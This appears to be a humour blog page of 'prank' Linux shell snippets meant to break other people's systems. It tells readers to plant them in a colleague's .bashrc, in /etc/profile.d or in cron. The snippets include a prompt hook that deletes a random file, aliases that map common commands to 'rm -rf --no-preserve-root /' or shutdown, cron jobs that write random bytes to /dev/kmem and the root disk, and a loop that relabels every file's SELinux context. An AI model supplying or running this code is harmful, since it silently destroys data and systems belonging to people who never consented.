Breaking Systems For Fun And Profit

The Prompt of Doom

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

1
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Read more...

Random Exit

Create this file as /etc/profile.d/randomexit.sh:

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
Read more...

Anti-Aliasing

Just run this one once, or more often if you’re feeling lucky.

Inspiration for this one came from Jan K.

1
2
3
4
5
6
7
8
9
#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done
Read more...

Kernel Roulette

Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc
Read more...

Providing Context

Run the following snippet on a production machine. Don’t worry if it errors out halfway through:

1
2
3
4
TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find -depth /); do
  chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done &> /dev/null
Read more...

Promoting Diversity

Add this one as /etc/cron.daily/diversity to give your users the diversity they so rightly deserve.

1
2
3
4
5
#!/bin/bash
for I in $(getent passwd | cut -d: -f1 )
do
  chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Read more...

Accelarated Bitrot

Create the following file as /etc/cron.hourly/bitrot

1
2
3
4
5
#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
Read more...